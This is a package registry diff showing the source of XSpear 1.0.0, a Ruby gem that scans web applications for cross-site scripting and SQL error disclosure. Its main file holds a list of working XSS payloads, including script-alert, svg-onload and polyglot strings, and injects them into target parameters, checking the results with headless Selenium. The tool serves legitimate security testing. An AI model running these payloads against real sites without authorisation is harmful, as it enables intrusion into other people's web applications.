XSpear 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/.gitignore +11 -0
- data/.idea/XSpear.iml +17 -0
- data/.idea/encodings.xml +4 -0
- data/.idea/misc.xml +7 -0
- data/.idea/modules.xml +8 -0
- data/.idea/workspace.xml +470 -0
- data/.rspec +3 -0
- data/.travis.yml +7 -0
- data/CODE_OF_CONDUCT.md +74 -0
- data/Gemfile +4 -0
- data/LICENSE.txt +21 -0
- data/README.md +218 -0
- data/Rakefile +6 -0
- data/XSpear-1.0.0.gem +0 -0
- data/XSpear.gemspec +45 -0
- data/bin/console +14 -0
- data/bin/setup +8 -0
- data/exe/XSpear +75 -0
- data/lib/XSpear/XSpearRepoter.rb +72 -0
- data/lib/XSpear/banner.rb +14 -0
- data/lib/XSpear/log.rb +31 -0
- data/lib/XSpear/version.rb +3 -0
- data/lib/XSpear.rb +289 -0
- metadata +168 -0
data/lib/XSpear.rb
ADDED
@@ -0,0 +1,289 @@
|
|
1
|
+
require "XSpear/version"
|
2
|
+
require "XSpear/banner"
|
3
|
+
require "XSpear/log"
|
4
|
+
require "XSpear/XSpearRepoter"
|
5
|
+
require 'net/http'
|
6
|
+
require 'uri'
|
7
|
+
require 'optparse'
|
8
|
+
require 'colorize'
|
9
|
+
require "selenium-webdriver"
|
10
|
+
|
11
|
+
module XSpear
|
12
|
+
class Error < StandardError; end
|
13
|
+
end
|
14
|
+
|
15
|
+
class XspearScan
|
16
|
+
def initialize(url, data, headers, params, thread, output, verbose)
|
17
|
+
@url = url
|
18
|
+
@data = data
|
19
|
+
@headers = headers
|
20
|
+
if params.nil?
|
21
|
+
@params = params
|
22
|
+
else
|
23
|
+
@params = params.split(",")
|
24
|
+
end
|
25
|
+
@thread = thread
|
26
|
+
@output = output
|
27
|
+
@verbose = verbose
|
28
|
+
@report = XspearRepoter.new @url, Time.now
|
29
|
+
end
|
30
|
+
|
31
|
+
class ScanCallbackFunc
|
32
|
+
def initialize(url, method, query, response)
|
33
|
+
@url = url
|
34
|
+
@method = method
|
35
|
+
@query = query
|
36
|
+
@response = response
|
37
|
+
# self.run
|
38
|
+
end
|
39
|
+
|
40
|
+
def run
|
41
|
+
# Override callback function..
|
42
|
+
|
43
|
+
# return type: Array(state, message)
|
44
|
+
# + state: i(INFO), v(VULN), s(SYSTEM)
|
45
|
+
# + message: your message
|
46
|
+
|
47
|
+
# e.g
|
48
|
+
# return "v", "reflected xss with #{query}"
|
49
|
+
end
|
50
|
+
end
|
51
|
+
|
52
|
+
class CallbackStringMatch < ScanCallbackFunc
|
53
|
+
def run
|
54
|
+
if @response.body.include? @query
|
55
|
+
[true, "reflected #{@query}"]
|
56
|
+
else
|
57
|
+
[false, "not reflected #{@query}"]
|
58
|
+
end
|
59
|
+
end
|
60
|
+
end
|
61
|
+
|
62
|
+
class CallbackErrorPatternMatch < ScanCallbackFunc
|
63
|
+
def run
|
64
|
+
info = "Found"
|
65
|
+
if @response.body.to_s.match(/(SQL syntax.*MySQL|Warning.*mysql_.*|MySqlException \(0x|valid MySQL result|check the manual that corresponds to your (MySQL|MariaDB) server version|MySqlClient\.|com\.mysql\.jdbc\.exceptions)/i)
|
66
|
+
info = info + "MYSQL "
|
67
|
+
end
|
68
|
+
if @response.body.to_s.match(/(Driver.* SQL[\-\_\ ]*Server|OLE DB.* SQL Server|\bSQL Server.*Driver|Warning.*mssql_.*|\bSQL Server.*[0-9a-fA-F]{8}|[\s\S]Exception.*\WSystem\.Data\.SqlClient\.|[\s\S]Exception.*\WRoadhouse\.Cms\.|Microsoft SQL Native Client.*[0-9a-fA-F]{8})/i)
|
69
|
+
info = info + "MSSQL "
|
70
|
+
end
|
71
|
+
if @response.body.to_s.match(/(\bORA-\d{5}|Oracle error|Oracle.*Driver|Warning.*\Woci_.*|Warning.*\Wora_.*)/i)
|
72
|
+
info = info + "Oracle "
|
73
|
+
end
|
74
|
+
if @response.body.to_s.match(/(PostgreSQL.*ERROR|Warning.*\Wpg_.*|valid PostgreSQL result|Npgsql\.|PG::SyntaxError:|org\.postgresql\.util\.PSQLException|ERROR:\s\ssyntax error at or near)/i)
|
75
|
+
info = info + "Postgres "
|
76
|
+
end
|
77
|
+
if @response.body.to_s.match(/(Microsoft Access (\d+ )?Driver|JET Database Engine|Access Database Engine|ODBC Microsoft Access)/i)
|
78
|
+
info = info + "MSAccess "
|
79
|
+
end
|
80
|
+
if @response.body.to_s.match(/(SQLite\/JDBCDriver|SQLite.Exception|System.Data.SQLite.SQLiteException|Warning.*sqlite_.*|Warning.*SQLite3::|\[SQLITE_ERROR\])/i)
|
81
|
+
info = info + "SQLite "
|
82
|
+
end
|
83
|
+
if @response.body.to_s.match(/(Warning.*sybase.*|Sybase message|Sybase.*Server message.*|SybSQLException|com\.sybase\.jdbc)/i)
|
84
|
+
info = info + "SyBase "
|
85
|
+
end
|
86
|
+
if @response.body.to_s.match(/(Warning.*ingres_|Ingres SQLSTATE|Ingres\W.*Driver)/i)
|
87
|
+
info = info + "Ingress "
|
88
|
+
end
|
89
|
+
|
90
|
+
if info.length > 5
|
91
|
+
[true, "#{@info}"]
|
92
|
+
else
|
93
|
+
[false, "#{@info}"]
|
94
|
+
end
|
95
|
+
end
|
96
|
+
end
|
97
|
+
|
98
|
+
class CallbackXSSSelenium < ScanCallbackFunc
|
99
|
+
def run
|
100
|
+
begin
|
101
|
+
options = Selenium::WebDriver::Firefox::Options.new(args: ['-headless'])
|
102
|
+
driver = Selenium::WebDriver.for(:firefox, options: options)
|
103
|
+
if @method == "GET"
|
104
|
+
begin
|
105
|
+
driver.get(@url+"?"+@query)
|
106
|
+
alert = driver.switch_to().alert()
|
107
|
+
if alert.text.to_s == "45"
|
108
|
+
driver.quit
|
109
|
+
return [true, "found alert/prompt/confirm (45) in selenium!! #{@query}\n => "]
|
110
|
+
else
|
111
|
+
driver.quit
|
112
|
+
return [true, "found alert/prompt/confirm event in selenium #{@query}\n =>"]
|
113
|
+
end
|
114
|
+
rescue Selenium::WebDriver::Error::UnexpectedAlertOpenError => e
|
115
|
+
driver.quit
|
116
|
+
return [true, "found alert/prompt/confirm error base in selenium #{@query}\n =>"]
|
117
|
+
rescue => e
|
118
|
+
driver.quit
|
119
|
+
return [false, "not found alert/prompt/confirm event #{@query}\n =>"]
|
120
|
+
end
|
121
|
+
end
|
122
|
+
rescue => e
|
123
|
+
log('s', "Error Selenium : #{e}")
|
124
|
+
end
|
125
|
+
end
|
126
|
+
end
|
127
|
+
|
128
|
+
|
129
|
+
def run
|
130
|
+
r = []
|
131
|
+
log('s', 'creating a test query.')
|
132
|
+
r.push makeQueryPattern('d', 'XsPeaR"', 'XsPeaR"', 'i', "Found SQL Error Pattern", CallbackErrorPatternMatch)
|
133
|
+
r.push makeQueryPattern('r', 'rEfe6', 'rEfe6', 'i', 'reflected parameter', CallbackStringMatch)
|
134
|
+
r.push makeQueryPattern('f', 'XsPeaR>', 'XsPeaR>', 'i', "not filtered "+">".blue, CallbackStringMatch)
|
135
|
+
r.push makeQueryPattern('f', '<XsPeaR', '<XsPeaR', 'i', "not filtered "+"<".blue, CallbackStringMatch)
|
136
|
+
r.push makeQueryPattern('f', 'XsPeaR"', 'XsPeaR"', 'i', "not filtered "+'"'.blue, CallbackStringMatch)
|
137
|
+
r.push makeQueryPattern('f', "XsPeaR'", "XsPeaR'", 'i', "not filtered "+"'".blue, CallbackStringMatch)
|
138
|
+
r.push makeQueryPattern('f', "XsPeaR`", "XsPeaR`", 'i', "not filtered "+"`".blue, CallbackStringMatch)
|
139
|
+
r.push makeQueryPattern('f', 'XsPeaR;', 'XsPeaR;', 'i', "not filtered "+";".blue, CallbackStringMatch)
|
140
|
+
r.push makeQueryPattern('f', 'XsPeaR|', 'XsPeaR|', 'i', "not filtered "+"|".blue, CallbackStringMatch)
|
141
|
+
r.push makeQueryPattern('f', 'XsPeaR(', 'XsPeaR(', 'i', "not filtered "+"(".blue, CallbackStringMatch)
|
142
|
+
r.push makeQueryPattern('f', 'XsPeaR)', 'XsPeaR)', 'i', "not filtered "+")".blue, CallbackStringMatch)
|
143
|
+
r.push makeQueryPattern('f', 'XsPeaR{', 'XsPeaR{', 'i', "not filtered "+"{".blue, CallbackStringMatch)
|
144
|
+
r.push makeQueryPattern('f', 'XsPeaR}', 'XsPeaR}', 'i', "not filtered "+"}".blue, CallbackStringMatch)
|
145
|
+
r.push makeQueryPattern('f', 'XsPeaR[', 'XsPeaR[', 'i', "not filtered "+"[".blue, CallbackStringMatch)
|
146
|
+
r.push makeQueryPattern('f', 'XsPeaR]', 'XsPeaR]', 'i', "not filtered "+"]".blue, CallbackStringMatch)
|
147
|
+
r.push makeQueryPattern('f', 'XsPeaR:', 'XsPeaR:', 'i', "not filtered "+":".blue, CallbackStringMatch)
|
148
|
+
r.push makeQueryPattern('f', 'XsPeaR.', 'XsPeaR.', 'i', "not filtered "+".".blue, CallbackStringMatch)
|
149
|
+
r.push makeQueryPattern('f', 'XsPeaR,', 'XsPeaR,', 'i', "not filtered "+",".blue, CallbackStringMatch)
|
150
|
+
r.push makeQueryPattern('f', 'XsPeaR+', 'XsPeaR+', 'i', "not filtered "+"+".blue, CallbackStringMatch)
|
151
|
+
r.push makeQueryPattern('f', 'XsPeaR-', 'XsPeaR-', 'i', "not filtered "+"-".blue, CallbackStringMatch)
|
152
|
+
r.push makeQueryPattern('f', 'XsPeaR=', 'XsPeaR=', 'i', "not filtered "+"=".blue, CallbackStringMatch)
|
153
|
+
r.push makeQueryPattern('f', 'XsPeaR$', 'XsPeaR$', 'i', "not filtered "+"$".blue, CallbackStringMatch)
|
154
|
+
r.push makeQueryPattern('x', '"><script>alert(45)</script>', '<script>alert(45)</script>', 'h', "reflected "+"XSS Code".red, CallbackStringMatch)
|
155
|
+
r.push makeQueryPattern('x', '<svg/onload=alert(45)>', '<svg/onload=alert(45)>', 'h', "reflected "+"XSS Code".red, CallbackStringMatch)
|
156
|
+
r.push makeQueryPattern('x', '<img/src onerror=alert(45)>', '<img/src onerror=alert(45)>', 'h', "reflected "+"XSS Code".red, CallbackStringMatch)
|
157
|
+
r.push makeQueryPattern('x', '"><script>alert(45)</script>', '<script>alert(45)</script>', 'v', "injected "+"<script>alert(45)</script>".red, CallbackXSSSelenium)
|
158
|
+
r.push makeQueryPattern('x', '\'"><svg/onload=alert(45)>', '\'"><svg/onload=alert(45)>', 'v', "injected "+"<svg/onload=alert(45)>".red, CallbackXSSSelenium)
|
159
|
+
r.push makeQueryPattern('x', 'jaVasCript:/*-/*`/*\`/*\'/*"/**/(/* */oNcliCk=alert(45) )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(45)//>\x3e', '\'"><svg/onload=alert(45)>', 'v', "running "+"XSS Polyglot payload".red, CallbackXSSSelenium)
|
160
|
+
r.push makeQueryPattern('x', 'javascript:"/*`/*\"/*\' /*</stYle/</titLe/</teXtarEa/</nOscript></Script></noembed></select></template><FRAME/onload=/**/alert(45)//--><<sVg/onload=alert`45`>', '\'"><svg/onload=alert(45)>', 'v', "running "+"XSS Polyglot payload".red, CallbackXSSSelenium)
|
161
|
+
r.push makeQueryPattern('x', 'javascript:"/*\'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert(45)//>', '\'"><svg/onload=alert(45)>', 'v', "running "+"XSS Polyglot payload".red, CallbackXSSSelenium)
|
162
|
+
r = r.flatten
|
163
|
+
r = r.flatten
|
164
|
+
log('s', "test query generation is complete. [#{r.length} query]")
|
165
|
+
log('s', "starting test and analysis. [#{@thread} threads]")
|
166
|
+
|
167
|
+
threads = []
|
168
|
+
r.each_slice(@thread) do |jobs|
|
169
|
+
jobs.map do |node|
|
170
|
+
Thread.new do
|
171
|
+
begin
|
172
|
+
result, res = task(node[:query], node[:inject], node[:pattern], node[:callback])
|
173
|
+
# p result.body
|
174
|
+
if @verbose.to_i > 2
|
175
|
+
log('d', "[#{res.code}] #{node[:query]} in #{node[:inject]} => #{result[1]}")
|
176
|
+
end
|
177
|
+
if result[0]
|
178
|
+
log(node[:category], (result[1]).to_s.yellow+"[param: #{node[:param]}][#{node[:desc]}]")
|
179
|
+
@report.add_issue(node[:category],node[:type],node[:param],node[:query],node[:pattern],node[:desc])
|
180
|
+
else
|
181
|
+
log('d', (result[1]).to_s)
|
182
|
+
end
|
183
|
+
rescue => e
|
184
|
+
end
|
185
|
+
end
|
186
|
+
end.each(&:join)
|
187
|
+
end
|
188
|
+
@report.set_endtime
|
189
|
+
log('s', "finish scan. the report is being generated..")
|
190
|
+
if @output == 'json'
|
191
|
+
puts @report.to_json
|
192
|
+
else
|
193
|
+
@report.to_cli
|
194
|
+
end
|
195
|
+
end
|
196
|
+
|
197
|
+
def makeQueryPattern(type, payload, pattern, category, desc, callback)
|
198
|
+
# type: [r]eflected param
|
199
|
+
# [f]ilted rule
|
200
|
+
# [x]ss
|
201
|
+
# [s]tatic
|
202
|
+
# [d]ynamic
|
203
|
+
|
204
|
+
result = []
|
205
|
+
if type == 's'
|
206
|
+
result.push("inject": 'url',"param":"STATIC" ,"type": type, "query": @url, "pattern": pattern, "desc": desc, "category": category, "callback": callback)
|
207
|
+
unless @data.nil?
|
208
|
+
result.push("inject": 'body',"param":"STATIC" ,"type": type, "query": @url, "pattern": pattern, "desc": desc, "category": category, "callback": callback)
|
209
|
+
end
|
210
|
+
p result
|
211
|
+
else
|
212
|
+
uri = URI.parse(@url)
|
213
|
+
begin
|
214
|
+
params = URI.decode_www_form(uri.query)
|
215
|
+
params.each do |p|
|
216
|
+
if @params.nil? || (@params.include? p[0] if !@params.nil?)
|
217
|
+
dparams = params
|
218
|
+
dparams.each do |d|
|
219
|
+
d[1] = p[1] + payload if p[0] == d[0]
|
220
|
+
end
|
221
|
+
result.push("inject": 'url',"param":p[0] ,"type": type, "query": URI.encode_www_form(dparams), "pattern": pattern, "desc": desc, "category": category, "callback": callback)
|
222
|
+
end
|
223
|
+
end
|
224
|
+
unless @data.nil?
|
225
|
+
params = URI.decode_www_form(@data)
|
226
|
+
params.each do |p|
|
227
|
+
if @params.nil? || (@params.include? p[0] if !@params.nil?)
|
228
|
+
dparams = params
|
229
|
+
dparams.each do |d|
|
230
|
+
d[1] = p[1] + payload if p[0] == d[0]
|
231
|
+
end
|
232
|
+
result.push("inject": 'body', "param":p[0], "type": type, "query": URI.encode_www_form(dparams), "pattern": pattern, "desc": desc, "category": category, "callback": callback)
|
233
|
+
end
|
234
|
+
end
|
235
|
+
end
|
236
|
+
rescue StandardError
|
237
|
+
result.push("inject": 'url',"param":"error", "type": type, "query": '', "pattern": pattern, "desc": desc, "category": category, "callback": callback)
|
238
|
+
end
|
239
|
+
result
|
240
|
+
end
|
241
|
+
end
|
242
|
+
|
243
|
+
|
244
|
+
def task(query, injected, pattern, callback)
|
245
|
+
begin
|
246
|
+
uri = URI.parse(@url)
|
247
|
+
request = nil
|
248
|
+
method = "GET"
|
249
|
+
uri.query = query if injected == 'url'
|
250
|
+
|
251
|
+
|
252
|
+
if @data.nil?
|
253
|
+
# GET
|
254
|
+
request = Net::HTTP::Get.new(uri.request_uri)
|
255
|
+
else
|
256
|
+
# POST
|
257
|
+
request = Net::HTTP::Post.new(uri.request_uri)
|
258
|
+
request.body = query if injected == 'body'
|
259
|
+
method = "POST"
|
260
|
+
end
|
261
|
+
|
262
|
+
|
263
|
+
Net::HTTP.start(uri.host, uri.port,
|
264
|
+
use_ssl: uri.scheme == 'https') do |http|
|
265
|
+
|
266
|
+
request['Accept'] = '*/*'
|
267
|
+
request['Connection'] = 'keep-alive'
|
268
|
+
request['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0'
|
269
|
+
unless @headers.nil?
|
270
|
+
@headers.split(';').each do |header|
|
271
|
+
begin
|
272
|
+
c = header.split(': ')
|
273
|
+
request[c[0]] = c[1] unless c.nil?
|
274
|
+
rescue StandardError
|
275
|
+
# pass
|
276
|
+
end
|
277
|
+
end
|
278
|
+
end
|
279
|
+
response = http.request(request)
|
280
|
+
result = callback.new(uri.to_s, method, pattern, response).run
|
281
|
+
# result = result.run
|
282
|
+
# p request.headers
|
283
|
+
return result, response
|
284
|
+
end
|
285
|
+
end
|
286
|
+
rescue => e
|
287
|
+
puts e
|
288
|
+
end
|
289
|
+
end
|
metadata
ADDED
@@ -0,0 +1,168 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: XSpear
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 1.0.0
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- hahwul
|
8
|
+
autorequire:
|
9
|
+
bindir: exe
|
10
|
+
cert_chain: []
|
11
|
+
date:
|
12
|
+
dependencies:
|
13
|
+
- !ruby/object:Gem::Dependency
|
14
|
+
name: colorize
|
15
|
+
requirement: !ruby/object:Gem::Requirement
|
16
|
+
requirements:
|
17
|
+
- - '='
|
18
|
+
- !ruby/object:Gem::Version
|
19
|
+
version: 0.8.1
|
20
|
+
type: :runtime
|
21
|
+
prerelease: false
|
22
|
+
version_requirements: !ruby/object:Gem::Requirement
|
23
|
+
requirements:
|
24
|
+
- - '='
|
25
|
+
- !ruby/object:Gem::Version
|
26
|
+
version: 0.8.1
|
27
|
+
- !ruby/object:Gem::Dependency
|
28
|
+
name: selenium-webdriver
|
29
|
+
requirement: !ruby/object:Gem::Requirement
|
30
|
+
requirements:
|
31
|
+
- - '='
|
32
|
+
- !ruby/object:Gem::Version
|
33
|
+
version: 3.142.3
|
34
|
+
type: :runtime
|
35
|
+
prerelease: false
|
36
|
+
version_requirements: !ruby/object:Gem::Requirement
|
37
|
+
requirements:
|
38
|
+
- - '='
|
39
|
+
- !ruby/object:Gem::Version
|
40
|
+
version: 3.142.3
|
41
|
+
- !ruby/object:Gem::Dependency
|
42
|
+
name: colorize
|
43
|
+
requirement: !ruby/object:Gem::Requirement
|
44
|
+
requirements:
|
45
|
+
- - '='
|
46
|
+
- !ruby/object:Gem::Version
|
47
|
+
version: 0.8.1
|
48
|
+
type: :development
|
49
|
+
prerelease: false
|
50
|
+
version_requirements: !ruby/object:Gem::Requirement
|
51
|
+
requirements:
|
52
|
+
- - '='
|
53
|
+
- !ruby/object:Gem::Version
|
54
|
+
version: 0.8.1
|
55
|
+
- !ruby/object:Gem::Dependency
|
56
|
+
name: selenium-webdriver
|
57
|
+
requirement: !ruby/object:Gem::Requirement
|
58
|
+
requirements:
|
59
|
+
- - '='
|
60
|
+
- !ruby/object:Gem::Version
|
61
|
+
version: 3.142.3
|
62
|
+
type: :development
|
63
|
+
prerelease: false
|
64
|
+
version_requirements: !ruby/object:Gem::Requirement
|
65
|
+
requirements:
|
66
|
+
- - '='
|
67
|
+
- !ruby/object:Gem::Version
|
68
|
+
version: 3.142.3
|
69
|
+
- !ruby/object:Gem::Dependency
|
70
|
+
name: bundler
|
71
|
+
requirement: !ruby/object:Gem::Requirement
|
72
|
+
requirements:
|
73
|
+
- - "~>"
|
74
|
+
- !ruby/object:Gem::Version
|
75
|
+
version: '2.0'
|
76
|
+
type: :development
|
77
|
+
prerelease: false
|
78
|
+
version_requirements: !ruby/object:Gem::Requirement
|
79
|
+
requirements:
|
80
|
+
- - "~>"
|
81
|
+
- !ruby/object:Gem::Version
|
82
|
+
version: '2.0'
|
83
|
+
- !ruby/object:Gem::Dependency
|
84
|
+
name: rake
|
85
|
+
requirement: !ruby/object:Gem::Requirement
|
86
|
+
requirements:
|
87
|
+
- - "~>"
|
88
|
+
- !ruby/object:Gem::Version
|
89
|
+
version: '10.0'
|
90
|
+
type: :development
|
91
|
+
prerelease: false
|
92
|
+
version_requirements: !ruby/object:Gem::Requirement
|
93
|
+
requirements:
|
94
|
+
- - "~>"
|
95
|
+
- !ruby/object:Gem::Version
|
96
|
+
version: '10.0'
|
97
|
+
- !ruby/object:Gem::Dependency
|
98
|
+
name: rspec
|
99
|
+
requirement: !ruby/object:Gem::Requirement
|
100
|
+
requirements:
|
101
|
+
- - "~>"
|
102
|
+
- !ruby/object:Gem::Version
|
103
|
+
version: '3.0'
|
104
|
+
type: :development
|
105
|
+
prerelease: false
|
106
|
+
version_requirements: !ruby/object:Gem::Requirement
|
107
|
+
requirements:
|
108
|
+
- - "~>"
|
109
|
+
- !ruby/object:Gem::Version
|
110
|
+
version: '3.0'
|
111
|
+
description: XSpear is XSS Scanner on ruby gems
|
112
|
+
email:
|
113
|
+
- hahwul@gmail.com
|
114
|
+
executables:
|
115
|
+
- XSpear
|
116
|
+
extensions: []
|
117
|
+
extra_rdoc_files: []
|
118
|
+
files:
|
119
|
+
- ".gitignore"
|
120
|
+
- ".idea/XSpear.iml"
|
121
|
+
- ".idea/encodings.xml"
|
122
|
+
- ".idea/misc.xml"
|
123
|
+
- ".idea/modules.xml"
|
124
|
+
- ".idea/workspace.xml"
|
125
|
+
- ".rspec"
|
126
|
+
- ".travis.yml"
|
127
|
+
- CODE_OF_CONDUCT.md
|
128
|
+
- Gemfile
|
129
|
+
- LICENSE.txt
|
130
|
+
- README.md
|
131
|
+
- Rakefile
|
132
|
+
- XSpear-1.0.0.gem
|
133
|
+
- XSpear.gemspec
|
134
|
+
- bin/console
|
135
|
+
- bin/setup
|
136
|
+
- exe/XSpear
|
137
|
+
- lib/XSpear.rb
|
138
|
+
- lib/XSpear/XSpearRepoter.rb
|
139
|
+
- lib/XSpear/banner.rb
|
140
|
+
- lib/XSpear/log.rb
|
141
|
+
- lib/XSpear/version.rb
|
142
|
+
homepage: https://github.com/hahwul/XSpear
|
143
|
+
licenses:
|
144
|
+
- MIT
|
145
|
+
metadata:
|
146
|
+
homepage_uri: https://github.com/hahwul/XSpear
|
147
|
+
source_code_uri: https://github.com/hahwul/XSpear
|
148
|
+
changelog_uri: https://github.com/hahwul/XSpear
|
149
|
+
post_install_message:
|
150
|
+
rdoc_options: []
|
151
|
+
require_paths:
|
152
|
+
- lib
|
153
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
154
|
+
requirements:
|
155
|
+
- - ">="
|
156
|
+
- !ruby/object:Gem::Version
|
157
|
+
version: '0'
|
158
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
159
|
+
requirements:
|
160
|
+
- - ">="
|
161
|
+
- !ruby/object:Gem::Version
|
162
|
+
version: '0'
|
163
|
+
requirements: []
|
164
|
+
rubygems_version: 3.0.3
|
165
|
+
signing_key:
|
166
|
+
specification_version: 4
|
167
|
+
summary: Powerfull XSS Scanning and Parameter Analysis tool&gem
|
168
|
+
test_files: []
|